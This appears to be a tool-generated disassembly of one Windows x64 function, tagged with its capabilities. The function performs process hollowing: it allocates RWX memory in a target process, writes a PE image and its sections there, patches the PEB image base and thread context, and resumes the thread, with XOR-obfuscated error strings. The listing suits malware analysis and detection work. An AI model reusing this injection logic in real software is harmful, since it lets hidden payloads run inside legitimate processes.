Function at 0x14000dfa0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Resume thread

Disassembly:
push rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x388
mov rax, qword [0x14006a080]
xor rax, rsp
mov qword [rsp + 0x370], rax
movsxd r15, dword [rdx + 0x3c]
mov r14, rdx
add r15, rdx
mov qword [rsp + 0x40], rdx
mov edx, dword [r15 + 0x34]
mov rbx, rcx
mov qword [rsp + 0x30], rcx
mov edi, 0x40
mov rcx, qword [rcx]
mov r9d, 0x3000
mov r8d, dword [r15 + 0x50]
lea r12, [r15 + 0x34]
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x38], rax
mov rsi, rax
test rax, rax
jne 0x14000e051
lea rdx, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
lea rcx, [rsp + 0x50]
call fcn.1400142a0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e041
lea rbx, [rax + 1]
mov edi, 0x4b
nop dword [rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e030
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000e39d
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x3d0], rbp
call fcn.1400145b0
mov rbp, rax
cmp byte [rax], 0
jne 0x14000e08f
lea rbx, [rax + 1]
mov esi, 0x1f
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x14000e074
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
lea rcx, [rbp + 1]
mov rdx, rsi
call fcn.140001290
mov r9d, dword [r15 + 0x54]
mov r8, r14
mov rcx, qword [rbx]
mov rdx, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000e101
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
lea rcx, [rsp + 0x50]
call fcn.140013f90
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e0f1
lea rbx, [rax + 1]
mov edi, 0x4c
nop dword [rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e0e0
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000e395
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x380], r13
call fcn.140013e50
mov rbp, rax
cmp byte [rax], 0
jne 0x14000e13f
lea rbx, [rax + 1]
mov esi, 0x1d
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x14000e124
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov edx, dword [r15 + 0x34]
lea rcx, [rbp + 1]
call fcn.140001290
xor ebp, ebp
mov r13d, ebp
cmp bp, word [r15 + 6]
jae 0x14000e1fd
mov r12d, ebp
nop
movzx r14d, word [r15 + 0x14]
mov rcx, qword [rbx]
add r14, r12
add r14, r15
mov qword [rsp + 0x20], rbp
mov r8d, dword [r14 + 0x2c]
mov edx, dword [r14 + 0x24]
add r8, qword [rsp + 0x40]
add rdx, rsi
mov r9d, dword [r14 + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000e275
lea rcx, [rsp + 0x50]
call fcn.140013a50
mov rbp, rax
cmp byte [rax], 0
jne 0x14000e1cb
lea rbx, [rax + 1]
mov esi, 0x21
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x14000e1b0
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov r8d, dword [r14 + 0x24]
lea rcx, [rbp + 1]
add r8, rsi
lea rdx, [r14 + 0x18]
call fcn.140001290
movzx eax, word [r15 + 6]
inc r13d
add r12, 0x28
mov ebp, 0
cmp r13d, eax
jl 0x14000e160
lea r12, [r15 + 0x34]
xor edx, edx
lea rcx, [rsp + 0xa4]
mov r8d, 0x2c8
call fcn.14004fd80
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xa0]
mov dword [rsp + 0xa0], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
jne 0x14000e2b7
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
lea rcx, [rsp + 0x50]
call fcn.1400132e0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e265
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e254
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000e38d
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
lea rcx, [rsp + 0x50]
call fcn.140013bb0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e2a3
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e292
lea rcx, [rsi + 1]
lea rdx, [r14 + 0x18]
call fcn.140001290
xor eax, eax
jmp 0x14000e38d
mov edx, dword [rsp + 0x144]
mov r9d, 4
mov rcx, qword [rbx]
add rdx, 8
mov r8, r12
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000e31e
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
lea rcx, [rsp + 0x50]
call fcn.140012ff0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e311
lea rbx, [rax + 1]
mov edi, 0x49
nop
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e300
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000e38d
mov ecx, dword [r15 + 0x28]
lea rdx, [rsp + 0xa0]
add ecx, esi
mov dword [rsp + 0x150], ecx
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
jne 0x14000e37e
lea rdx, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
lea rcx, [rsp + 0x50]
call fcn.140012d50
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e371
lea rbx, [rax + 1]
nop
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e360
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000e38d
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov r13, qword [rsp + 0x380]
mov rbp, qword [rsp + 0x3d0]
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.14002b600
add rsp, 0x388
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
ret